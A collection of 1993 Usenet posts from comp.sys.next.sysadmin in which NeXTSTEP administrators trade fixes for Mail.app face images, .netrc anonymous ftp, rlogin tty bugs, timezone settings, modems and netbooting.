Not sure what to do about that. The original version of this script is part of a package called "Faces3.tar.Z" which was put together by Carl Edman. This includes a *huge* collection of face tiffs from assorted sources. Many of the people in this collection have since moved (email-address-wise), or have newer, better face-tiffs available. That collection is available at sonata.cc.purdue.edu in directory /pub/next/graphics/Images/icons/people. Be warned that the file itself is over 4 meg, and once you decompress and untar it the result takes up over 5 meg. Therefore, don't pick this up unless you have at least 10-12 meg of free disk space available to you. In my opinion, this is much too much of a good thing. Someday I'd like to put together a trimmed-down and updated version of this collection. The problem is I haven't figured out a really good way to keep such a collection up-to-date. There's also the question of a single person having multiple email addresses, and how to keep all those up-to-date. I do have a trimmed-down collection (which is about 0.5 meg, uncompressed), but I'm already running into problems with keeping that reasonably accurate. I do like the idea of these face-tiff images, as it makes Mail and Usenet a little bit less impersonal. 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Newsgroups: comp.sys.next.sysadmin From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Subject: Re: user tiffs under Mail.app Message-ID: <g=-56m-@rpi.edu> References: <116135@netnews.upenn.edu> Date: Mon, 29 Mar 1993 06:14:03 GMT shuque@microsupport.sas.upenn.edu (Shumon Huque) writes: > On a related note, I cannot get addresses with funny characters > (specifically the underbar) in them to work. The most common is > an address like those that come from NeXT, having the form: > > First_Last@next.com > > It seems, that if I follow the above procedure and have the corresponding > tiff file, the mail picture does not show up. Can anyone confirm this? The problem is usually that you're leaving the uppercase letters in the name. Here's an excerpt from my previous post, which lists two names that I know will work fine (if you put the tiffs in the location noted, and then run Carl Edman's mkpassalia script on the People directory): Note that that all letters should be in lowercase too, such that a real email address of Robert_La_Ferla@hot.com should be in robert_la_ferla.hot.com.tiff and the face tiff for Conrad_Geiger@NeXT.com should be in conrad_geiger.next.com.tiff -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin From: Fruehling@rz.uni-jena.de (Fruehling) Subject: Re: Ftp with .netrc question Message-ID: <1993Mar29.065115.15123@rz.uni-jena.de> Summary: it works Organization: Friedrich-Schiller-University Jena, Germany References: <1p4qnh$2of@steffi.demon.co.uk> Date: Mon, 29 Mar 1993 06:51:15 GMT In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >How can you make my .netrc let me log into any machine with anonymous >ftp? Here it works with the following line in the .netrc file: default login anonymous passwd your_adress_as_required regards M.
From: oleg@gd.cs.csufresno.edu (Oleg Kibirev) Newsgroups: comp.sys.next.sysadmin Subject: What happened to /dev/tty? Message-ID: <1993Mar28.215815.4624@nic.csu.net> Date: 29 Mar 93 05:58:13 GMT Organization: Computer Science Departement of California State University in Fresno Is there no more /dev/tty in NextStep 3? If it works on your computer, what device number do you have for it? Thanks! Oleg math:~> ls -al /dev/tty crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty math:~> cat /dev/tty /dev/tty: No such device or address
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Ftp with .netrc question In-Reply-To: gseidman@math16.math.umbc.edu's message of 28 Mar 1993 23:37:07 GMT To: gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu) Message-ID: <CEDMAN.93Mar28202405@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1p4qnh$2of@steffi.demon.co.uk> <1p5cr3$fkf@news.umbc.edu> Date: Mon, 29 Mar 1993 00:24:05 GMT In article <1p5cr3$fkf@news.umbc.edu> gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu) writes: In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >How can you make my .netrc let me log into any machine with anonymous >ftp? > >Currently if I specify "machine hostname" it will only execute the >commands providing the machine hostname matches the host im currently >connected to in an ftp session. What I would like is to be able to >set it up so that I can just anonymous ftp anywhere. Once again, as many have said before, the only way to default to anonymous login is to use ncftp, by Mike Gleason I believe. If you do not have a .netrc entry for a host ncftp will automatically attempt an anonymous login. Well, then many have said wrong before. As a matter of fact any release of BSD ftp more recent than the paleolithic one distributed by NeXT support automatic anonymous logins. Almost complete sources to BSD can be found on any number of archive sites including ftp.uu.net. A NeXT ready and extended version of BSD ftp can be found on sonata.cc.purdue.edu. Carl Edman
Newsgroups: comp.sys.next.sysadmin Subject: 8bits, login and Zyxel Message-ID: <1993Mar29.082631.19336@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 29 Mar 1993 08:26:31 GMT Sender: news@urz.unibas.ch (USENET News System) Organization: Institut fuer Informatik Keywords: 8bits, login, Zyxel Last weekend I switched our modem link from the Ultrix box to the NeXT. As usual (with NeXT), I had to do a lot of changing before the 8bit clean path was available. Now i still have one problem I don't know how to solve. (Under Ultrix it 'just worked'.) My settings: in /etc/gettytab: # NXFax dialup DNXFax: \ :im=\r\n\ Welcome to node %h\r\n\ Institut fuer Informatik\r\n\ Universitaet Basel\r\n\n\ Unauthorized use prohibited!\r\n\n:\ :lm=Login\: :\ :p8:sp#38400: The problem: after making the connection, the above initial message (im) is sent to the caller with parity generated. This shows as 'garbage' on the receivers screen, as the receiver is expecting 8bits, no parity. After entering a login name, the following text (Password and all the rest) is properly transmitted and everything works fine. Is there any way I can coax the NeXT (driver, NXFax???) into sending the initial message with 8bits no parity? I couldn't find any option that would do this in the gettytab man page. Thanks for any help. -Robert -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch ( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin From: Eric Noyau <e_noyau@cubx.com> Subject: Re: user tiffs under Mail.app Message-ID: <1993Mar29.074931.6246@pelane.cubx.com> Sender: noyau@pelane.cubx.com Organization: Cub'X systemes References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us> Date: Mon, 29 Mar 1993 07:49:31 GMT In article <1993Mar26.072654.354@designimage.megalith.miami.fl.us> designimage!root (Operator) writes: > [...] > I am trying to set up the tiffs of remote people so that when I receive > mail from them I can see their image in Mail's panel. > [...] > FAQ -- (Eric Noyau - e_noyau@cubx.com - (Small)NeXTMail Ok) /R{rand 2147483647 div mul}def 1 1 90{pop dup gsave/Helvetica findfont 40 R scalefont setfont 500 R 800 R moveto 360 R rotate 1 R setgray show grestore}for pop showpage % The fish doesn't think because the fish knows... everything --- Iggy Pop
Newsgroups: comp.sys.next.sysadmin From: aoki@madonna (Ken-ichiro Aoki) Subject: Re: NetInfoManager, Printer and NS3.0 Message-ID: <1993Mar27.144012.14889@mic.ucla.edu> References: <1993Mar26.160256.5376@mic.ucla.edu> Date: 27 Mar 93 14:40:12 PST I wrote ... : I have a question about NetInfo in NS3.0; When you use the NIManager, : it seems that any user (who can run NIManager) can change : the properties+values in the local printer directory. : When you try to save, it does not anthenticate and just saves it. .... Sorry to ask a RTFM question; in short, this is a feature that is turned on by default which can be turned off. To do so, just destroy the _writers property. This default applies to printer, fax_modem and localconfig/screens. You can fix it by using NetInfo, niutil or by using the next.com:ftp/pub/Misc/Utitlities/WritersFix.compressed. There is a CERT advisory out on this point. The reason it is turned on by default is to let the users attach printers, fax-modems without getting hassled by the sysadmin. I would like to thank all the kind fellow NeXT users who took time to respond and also all the people who were going to do so. -- ___Kenichiro Aoki (aoki@physics.ucla.edu) Physics Dept,UCLA,Ca,USA. (Please note that the From: field might be screwed up if you are replying.)
Newsgroups: comp.sys.next.sysadmin From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Tip: Run Edit as Another User Keywords: su Edit groupware Organization: Primitive Software Ltd. References: <1993Mar29.004911.5633@gleap.jupnix.com> Date: Mon, 29 Mar 1993 08:47:34 +0000 Message-ID: <1993Mar29.084734.2655@prim> Sender: usenet@demon.co.uk In article <1993Mar29.004911.5633@gleap.jupnix.com> clloyd@gleap.jpunix.com writes: >You can run Edit as any other user on your system and trick it to make it think >you're logged in as that user. This way, you have the proper file permissions >for reading and (especially) saving the files. (I find this particularly >useful when maintaining uucp-owned files). > >[...] > >What I'd really like is to be able to open several Workspace Managers as >different users; are you listening NeXT? Or even better have an icon which represents a "gateway" into another user environment. So you have an application which lets you log in as a different user. This switches screens to look like you've just logged in as that user except that there is an icon at the bottom which represents your original environment. Double-clicking on it takes you back and vice-versa. Like two virtual terminals. Dave Griffiths
Newsgroups: comp.sys.next.sysadmin From: kgnome@cs.concordia.ca (MATIS stephane) Subject: Re: NFS mounting a PC running SOSS Message-ID: <C4nnuA.GKC@newsflash.concordia.ca> Keywords: SOSS, NFS Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec References: <1ov02nINN7jf@epic.truevision.com> Date: Mon, 29 Mar 1993 14:49:22 GMT In article <1ov02nINN7jf@epic.truevision.com> steve@estel.uindy.edu writes: >Hi, > >Has anybody out there had much luck mounting a PC running SOSS from a >NeXT? I can mount it using 'mount', but when I try double clicking on a >file in the browser I get read errors of some kind (no file is ever >opened). Is there something I'm missing? Does anyone have this working? >(BTW I can seem to mount from an HP machine, and an SCO machine, so I >*think* the SOSS end is pretty much sane.) > >thanks! >-steve Well, I have used 'soss' on my PC when I had 2.1 running on my NeXT, but since 3.0, and having to return the borrowed network card of my pc, I can't tell./ I can assure you that it worked flawlessly though. >--------------------------< cut here >---------------------------- >Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu >Dept of Mathematics and Physics NeXTmail Welcome! >1400 East Hanna Avenue, 46227 > +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
From: gt2186a@prism.gatech.EDU (COBIA,FRANK NAYLOR) Newsgroups: comp.sys.next.sysadmin Subject: Help booting from the CD-ROM Message-ID: <90644@hydra.gatech.EDU> Date: 29 Mar 93 14:08:32 GMT Organization: Georgia Institute of Technology I tried to boot from the CD-ROM and could not do it. I have one of the original slabs, so I boot from the floppy. It then checks evry SCSI address and the drive light comes on as each address is checked, but after it finishes checking all of them the Monitor tells me that I do not have a CD-ROM drive connected to the system. Can anyone help me? Frank -- COBIA,FRANK NAYLOR Georgia Institute of Technology, Atlanta Georgia, 30332 uucp: ...!{allegra,amd,hplabs,ut-ngp}!gatech!prism!gt2186a Internet: gt2186a@prism.gatech.edu
From: "Jeremy G. Mereness" <zonker+@CMU.EDU> Newsgroups: comp.sys.next.sysadmin Subject: Re: NFS Server Bug, 3.0? Date: Mon, 29 Mar 1993 09:45:46 -0500 Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA Message-ID: <0fhkiOe00iMF424EQg@andrew.cmu.edu> Thanks for all the replies. The sentiment was that NFS (not necessarily NextStep) was at fault here. However, I found out that Netinfo and Next's boot procedure was smart enough not to overwrite a symlink if it finds one where it would like to place a mount-point. But if a server doesn't have a file or link or directory where Netinfo thinks a mount-point should be, Netinfo will create one there, just as if the server were just another client... and that's trouble. Most of the time, this is not a problem if you are mounting a server directory AS IT APPEARS on the server, but I had an external disk that I meant to mount on clients as if it were on the root. So, Netinfo got confused with the server until I put symlinks there. Thank again. All's working fine now. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |Jeremy Mereness | Support | Ye Olde Disclaimer: | |zonker+@cmu.edu (internet) | NeXTStep | This message represents| | or jm7e+@andrew.cmu.edu | Software | my opinions, alone. | |FAST Laboratory, CMU-GSIA |------------| Thank you, Mask Man. | | B.S. Mech Eng. CMU,1992| Certificate Mixology,1992 |No NeXTMail, yet | ----------------------------------------------------------------------
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: DialUpIp with 38400/ISDN ? Date: 29 Mar 1993 15:48:12 GMT Organization: The University of Maryland, College Park Message-ID: <1p75nsINNc47@ni.umd.edu> References: <1993Mar28.163144.6652@chsun.chuug.ch> In article <1993Mar28.163144.6652@chsun.chuug.ch> Florian.Gutzwiller@open.ch writes: >We're running TranSys SLIP over a 38400 ISDN Terminal Adapter. It now seems, >that with MTU set to 256 it works fine compared to 1006 causing a hang after 5 >minutes. Can anybody comment on this behaviour? Sounds like a flow control problem. Do you have a cable that supports hardware flow control? Is the ISDN terminal adaptor configured to support hardware (CTS/RTS) flow control? Louis Mamakos
From: hbergh@nl.oracle.com (Herbert van den Bergh) Newsgroups: comp.sys.next.sysadmin Subject: Timezone info in Preferences incomplete Message-ID: <3722@nlsun1.oracle.nl> Date: 29 Mar 93 12:21:14 GMT Organization: Oracle Europe This weekend was the first time we had a change to Daylight Saving Time in The Netherlands. The clock of Preferences in the dock didn't follow. I had chosen GMT+0100. After changing that to Poland the time seemed to be right. But I don't live in Poland. So that's a bit strange. In /etc/zoneinfo I can see lots of additional timezone definitions, but these are ignored by Preferences. I did a 'strings /NextApps/Preferences.app/Preferences' which showed me hardcoded file names from /etc/zoneinfo. Of course the one I expect to be the right one for me, MET, wasn't in there. So what can I do? Is there a way to tell Preferences about the other timezones in /etc/zoneinfo? Or should I just pretend I'm living in Poland instead? -- Herbert van den Bergh Oracle Europe hbergh@nl.oracle.com
Newsgroups: comp.sys.next.sysadmin From: serge@dadofsam.Princeton.EDU Subject: Re: Tip: Run Edit as Another User Message-ID: <1993Mar29.164106.9444@Princeton.EDU> Originator: news@nimaster Keywords: uid su root real effective Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Mar29.004911.5633@gleap.jupnix.com> Date: Mon, 29 Mar 1993 16:41:06 GMT In article <1993Mar29.004911.5633@gleap.jupnix.com> clloyd@gleap (Charles C. Lloyd) writes: > ... (much deleted) ... > What I'd really like is to be able to open several Workspace Managers as > different users; are you listening NeXT? > I'll second that ... in particular, for a SysAdmin, it would be nice to be able to run a root Workspace manager. > Charles Lloyd > GiantLeap Software (713) 363-0887 > clloyd@GLeap.jpunix.com (713) 363-0936 (fax) Serge J. Goldstein Princeton Univerity CIT
From: kwang@data.acs.calpoly.edu (Kevin John Wang) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: /etc/mtab? and the auto-diskmounter? and booting? Keywords: mtab mount fsck blah Message-ID: <1993Mar29.200213.160239@zeus.calpoly.edu> Date: 29 Mar 93 20:02:13 GMT Sender: news@zeus.calpoly.edu Followup-To: comp.sys.next.sysadmin Organization: Cal Poly State University, San Luis Obispo Does anyone else's /etc/mtab keep getting chmod'ed to 600? This is wreaking havoc over here because df and SoundWorks refuse to work if they can't read /etc/mtab. 1: I have verified it in as far as on SOME of our machines the file is 600 after boot. SOME machines. 2: I'm fairly sure that on ALL the machines ejecting a floppy causes /etc/mtab to become 600. inserting does not. 3: I *THINK* that the OD has the same effect. 4: I *THINK* that fsck also twiddles with the permissions. help? (besides putting something in cron...) I think that it is either the AutoDiskmounter or maybe even mount/umount anyone? anyone? - Kevin Wang
Newsgroups: comp.sys.next.sysadmin From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: What happened to /dev/tty? Message-ID: <1993Mar29.201451.15421@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <1993Mar28.215815.4624@nic.csu.net> Date: Mon, 29 Mar 1993 20:14:51 GMT In article <1993Mar28.215815.4624@nic.csu.net> oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes: >math:~> ls -al /dev/tty >crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty >math:~> cat /dev/tty >/dev/tty: No such device or address /dev/tty is a special device in that it redirects your open() to the correct tty which it gets from your processes info. If you can't open the tty, your process is not assiciated with one (try 'ps -x' and your shell will not have an assiociated tty (see the TT field)). rlogin doesn't do this properly (nobody at NeXT seems to use Terminal). Mail to bug_next, perhaps they'll fix it (some time). -Marcel
Newsgroups: comp.sys.next.sysadmin From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) Subject: Re: Timezone info in Preferences incomplete Message-ID: <1993Mar29.204838.16465@bernina.ethz.ch> Sender: news@bernina.ethz.ch (USENET News System) Organization: NiCE - NeXT User Group, Zuerich References: <3722@nlsun1.oracle.nl> Date: Mon, 29 Mar 1993 20:48:38 GMT In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den Bergh) writes: > This weekend was the first time we had a change to Daylight > Saving Time in The Netherlands. The clock of Preferences in the > dock didn't follow. I had chosen GMT+0100. After changing that > to Poland the time seemed to be right. Most of the NeXTified Europeans have to live in Poland (at least it looks like that). What I hate more is that there is no possibility to set this globally (it makes no sense to me that one user has time zone X and another user has time zone Y). -Marcel
Newsgroups: comp.sys.next.sysadmin From: scott@geom.umn.edu (Scott S. Bertilson) Subject: Re: What happened to /dev/tty? Message-ID: <C4o6Bs.Mn5@news2.cis.umn.edu> Sender: news@news2.cis.umn.edu (Usenet News Administration) Organization: Geometry Center, University of Minnesota References: <1993Mar28.215815.4624@nic.csu.net> Date: Mon, 29 Mar 1993 21:28:38 GMT I have had substantial problems with my shell not being properly attached to the pty when I "rlogin" to a next and my shell is "bash". It seems to work fine under "Terminal", but ever since 3.0 I've had problems. Doesn't seem to be a problem with any other shell than "bash" for me. Has anyone seen this other than when using "bash"? (I should admit that the "bash" I'm running was compiled under 2.1.) If not, then I'm very curious what causes it on your end. Scott --
Newsgroups: comp.sys.next.sysadmin From: korp@eid.anl.gov (Peter A. Korp) Subject: Can't use Edit properly from workspace after de-installing Emacs.app Message-ID: <C4oADy.Gr6@mcs.anl.gov> Keywords: Edit, Workspace, Emacs, Tools Sender: usenet@mcs.anl.gov Organization: Argonne National Laboratory, Argonne, Illinois Date: Mon, 29 Mar 1993 22:56:21 GMT I installed Emacs.app and after some period of time with it I determined that Edit interacted better with the standard NeXT development environment so I got rid of Emacs. Now I can't seem to make plain text files open in Edit by clicking on them in workspace anymore! When I pop the tools inspector in Workspace it says that there is no tools inspector for that file!?! I am still able to open .c and .h files, but not files with no extension or files with an unknown extension (eg. cmos.ram). Any ideas on how to coerce Workspace into setting a default editor, this used to work before I installed Emacs.app. Thanks, -- Peter A. Korp Assistant Scientist Argonne National Laboratory korp@eid.anl.gov
Newsgroups: comp.sys.next.sysadmin From: mjh@cs.vu.nl (Huisjes MJ) Subject: Re: What happened to /dev/tty? Message-ID: <C4oAsy.6n@cs.vu.nl> Sender: news@cs.vu.nl Organization: Fac. Wiskunde & Informatica, VU, Amsterdam References: <1993Mar28.215815.4624@nic.csu.net> <C4o6Bs.Mn5@news2.cis.umn.edu> Date: Mon, 29 Mar 1993 23:05:21 GMT scott@geom.umn.edu (Scott S. Bertilson) writes: } I have had substantial problems with my shell not being properly } attached to the pty when I "rlogin" to a next and my shell is "bash". } It seems to work fine under "Terminal", but ever since 3.0 I've had } problems. Doesn't seem to be a problem with any other shell than } "bash" for me. Has anyone seen this other than when using "bash"? } (I should admit that the "bash" I'm running was compiled under 2.1.) } If not, then I'm very curious what causes it on your end. } Scott } -- This bug has been noted by everyone who ever uses a standard shell. It has been posted to bug_next@next.com zillions of times ever since 1.0. One look at the orginal BSD code shows the error, rlogind was compiled with the -DDEBUG flag which explicitly deassociates itself from its controlling tty. (I have a copy of the BSD code to show it). All releases since have come with a newly compiled rlogind, but always it has with DEBUG defined. Recompile it without DEBUG and all goes well. Fixed version of rlogind are available from the several ftp sites (just to name one sutro.sfsu.edu [130.212.15.230] : /pub/2.0-fixed-rlogind.tar.Z). Yeah right thrust NeXT to ever solve a problem for you. -- Maarten Huisjes. mjh@cs.vu.nl (192.31.231.42) (..!uunet.uu.net!cs.vu.nl!mjh)
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Timezone info in Preferences incomplete Message-ID: <C4oDnr.2M1@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <3722@nlsun1.oracle.nl> <1993Mar29.204838.16465@bernina.ethz.ch> Date: Tue, 30 Mar 1993 00:06:49 GMT marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes: >it looks like that). What I hate more is that there is no possibility >to set this globally (it makes no sense to me that one user has time >zone X and another user has time zone Y). Not true. Change the time zone as root and remove the setuid bit from /usr/lib/Preferences/set_time_zone if you're running 3.0. This is documented in the Network&SysAdmin manual chapter 16. (if you're running 2.1, simply remove the setuid bit from /NextApps/Preferences) -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin Subject: Re: What happened to /dev/tty? Message-ID: <1993Mar29.171947.4633@nic.csu.net> From: oleg@gd.cs.csufresno.edu Date: 29 Mar 93 17:19:47 PST References: <1993Mar28.215815.4624@nic.csu.net> <1993Mar29.201451.15421@bernina.ethz.ch> Organization: Computer Science Departement of California State University in Fresno In article <1993Mar29.201451.15421@bernina.ethz.ch> marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes: >In article <1993Mar28.215815.4624@nic.csu.net> oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes: >>math:~> ls -al /dev/tty >>crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty >>math:~> cat /dev/tty >>/dev/tty: No such device or address > >/dev/tty is a special device in that it redirects your open() to the >correct tty which it gets from your processes info. If you can't open >the tty, your process is not assiciated with one (try 'ps -x' and your >shell will not have an assiociated tty (see the TT field)). rlogin >doesn't do this properly (nobody at NeXT seems to use Terminal). Mail >to bug_next, perhaps they'll fix it (some time). > Ooops! I should have though about this one. Surprizingly, rlogin works just fine with NextStep 2. I tried copying V2 rlogind over, but it still fails to set tty. Is it a bug in the kernel? Oleg
From: treed@bmt.gun.com (Timothy Reed) Newsgroups: comp.sys.next.sysadmin Subject: Intel 9600EX and NeXTSTEP 3.0 configuration needed Date: 29 Mar 1993 21:00:40 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <199303300256.AA05395@karubi> I have a user with an Intel 9600EX modem connected to a NeXT computer running NeXTSTEP 3.0. He needs to dial into my e-mail server's Telebit Worldblazer V.32/V.32bis/V.42/V.42bis, but has not been able to so far. The modems seem to have trouble syncing up - he never gets to a login prompt. I want to explore his modem config first, but I'm not familiar with Intel modems. Does anyone out there have experience with the Intel, or (better) a list of settings for the modem. I'm sure that anything that works on SunOS 4.1 or less will do fine - at least that'll be a good starting point. Reply directly to me and I'll summarize to the lists. Thanks, Tim Reed treed@gun.com
Newsgroups: comp.sys.next.sysadmin From: yang@mouse.im.nsysu.edu.tw (Tyng-Jing Yang) Subject: Auto power on after power is back ? Message-ID: <YANG.93Mar29120800@mouse.im.nsysu.edu.tw> Sender: news@cc.nsysu.edu.tw (News Manager) Organization: NSYSU MIS Department Date: Mon, 29 Mar 1993 04:06:42 GMT Hi, netter, Is it possiable to make NeXTCube reboot automatically after the electricity is coming back ? It is unconvient to go back to school to punch that power key. Thank for you pointer, Tyng-Jing Yang -- @ @@@@@@@ @ @@@ System Adminstrator @ @ @ @@@@@@@@@@@@@@ @ @ College of Management @ @@@@@@@ @ @ @ National S.Y.S Univerity @@@@@@ @ @ @ @@@@ @@@ @ @ @ @@@@@@@ @ @ @@@ @ @@@@@@@ @ yang@mis.nsysu.edu.tw @@ @ @ @ @@ @ @@ yang@mouse.im.nsysu.edu.tw @@@ @@@@@@@@@ @ @ @ @ @ @ @ @ @ @@@@ @@@@@ @ @ @ @@@@@@@@ @ @ @ @@@@@@@@@@@ <-- Left picutre is how my @ @ @ @ @ @ @ @ @ @ name spelled in Chinese. @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@ @ @@@@@@@ @@@@@@@@@@@@@
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Ftp with .netrc question Message-ID: <C4ooHo.50v@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1p5cr3$fkf@news.umbc.edu> Date: Tue, 30 Mar 1993 04:00:59 GMT gseidman@math16.math.umbc.edu writes -> In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: -> >How can you make my .netrc let me log into any machine with anonymous -> >ftp? -> > -> >Currently if I specify "machine hostname" it will only execute the -> >commands providing the machine hostname matches the host im currently -> >connected to in an ftp session. What I would like is to be able to -> >set it up so that I can just anonymous ftp anywhere. -> -> Once again, as many have said before, the only way to default to anonymous -> login is to use ncftp, by Mike Gleason I believe. If you do not have a -> ..netrc entry for a host ncftp will automatically attempt an anonymous -> login. -> Why not just use the "alex" package from, I think, nectar.cs.cmu.edu....this will give you a FTP filesystem... -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
From: michael@wft.stack.urc.tue.nl (Michael Brouwer) Newsgroups: comp.sys.next.sysadmin Subject: Re: Timezone info in Preferences incomplete Message-ID: <1p7u80$c7@tricky.wft.stack.urc.tue.nl> Date: 29 Mar 93 22:46:24 GMT References: <3722@nlsun1.oracle.nl> Organization: Eindhoven University of Technology, the Netherlands In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den Bergh) writes: > about the other timezones in /etc/zoneinfo? Or should I just > pretend I'm living in Poland instead? No, poland is wrong. To correct the problem type the following in a terminal window (as root): # chmod u-s /usr/lib/Preferences/set_time_zone # rm -f /etc/zoneinfo/localtime # ln /etc/zoneinfo/MET /etc/zoneinfo/localtime This will disallow the changing of the timezone from Preferences.app (for non root users) and set the systems timezone to MET. Michael
Newsgroups: comp.sys.next.sysadmin From: lagarde@netcom.com (Jean Lagarde) Subject: kernel won't mount root while netbooting Message-ID: <lagardeC4ow57.Cou@netcom.com> Organization: Netcom - Online Communication Services (408 241-9760 guest) Distribution: na Date: Tue, 30 Mar 1993 06:46:19 GMT It's the first time I attempt to netboot, and although I did everything described in the NeXT documentation, I get the following error when the kernel attempts to mount the root directory from the server: mountnfs: myprivnext:/ portmap not responding (repeated endlessly) However, if I boot the client from a local disk, I can mount the server's root directory with "mount myprivnext:/ /myprivnext" whithout any problems, which I think proves that portmap works fine on the server. If someone knows what I'm doing wrong, please let me know. If you'd like to have more info on my netboot attempt, I included a dump of the console at the end. Thanks for any help -Jean lagarde@netcom.com -------------- netboot console dump --------- NeXT> NeXT>ben boot en(0,0,0) Requesting BOOTP information. [OK] Booting /private/tftpboot/boot from myprivnext .................................................................................................. blk0 boot: en() Requesting BOOTP information. [OK] Booting /private/tftpboot/mach from myprivnext ................................................................................(few lines of that) .................NeXT ROM Monitor 1.0 v42 NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K FPU version 0x0 physical memory = 8.00 megabytes. available memory = 6.96 megabytes. using 16 buffers containing 0.12 megabytes of memory SCSI 53C90A Controller, Target 7, as sc0 at 0x2014000 PINNACLEOHD-650 Rev 1.54 as sd0 at sc0 target 5 lun 0 Disk Label: bootdisk Disk Capacity 281MB, Device Block 512 bytes QUANTUM P40S 940-40-94xx Rev as sd1 at sc0 target 6 lun 0 Disk Label: swapdisk Disk Capacity 40MB, Device Block 512 bytes Generic SCSI Device as sg0 at sc0 target 7 lun 7 Generic SCSI Device as sg1 at sc0 target 7 lun 7 Generic SCSI Device as sg2 at sc0 target 7 lun 7 Generic SCSI Device as sg3 at sc0 target 7 lun 7 odc0 at 0x2012000 od0 at odc0 slave 0 od1 at odc0 slave 1 en0 at 0x2006000 en0: Ethernet address 00:00:0f:00:59:46 IP protocol enabled for interface en0, type "10MB Ethernet" dsp0 at 0x2008000 np0 at 0x200f000 sound0 at 0x200e000 root on en0 master cpu at slot 0. primary network interface: en0 [192.42.172.2] hostname: myepb whoami: no domain name mountnfs: myprivnext:/ portmap not responding mountnfs: myprivnext:/ portmap not responding (etc.)
Newsgroups: comp.sys.next.sysadmin From: gerben@rna.indiv.nluug.nl Subject: Re: Timezone info in Preferences incomplete Message-ID: <1993Mar30.071545.9216@rna.indiv.nluug.nl> Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda) Organization: G.R.O.S.S. References: <1993Mar29.204838.16465@bernina.ethz.ch> Date: Tue, 30 Mar 1993 07:15:45 GMT In article <1993Mar29.204838.16465@bernina.ethz.ch> > In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den Bergh) writes: > > This weekend was the first time we had a change to Daylight > > Saving Time in The Netherlands. The clock of Preferences in the > > dock didn't follow. I had chosen GMT+0100. After changing that > > to Poland the time seemed to be right. It is indeed a litlle confusing, but the time on the map is MET DST, which is Middle European Time, Daylight Savings Time, the correct time for NL. My clock adjusted itself last weekend, as it should have. The confusion for me comes from the fact that the "MET DST" string remains when you choose GMT+0100. It should change to "GMT+0100". The way it is meant to be: Choose either "real time" (GMT-based, your timezone) Or "local time" (Adaptations, like DST) -- Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539 "If you don't know where you are going, any road will take you there." From the Talmud(?), rephrased in Lewis Carroll, 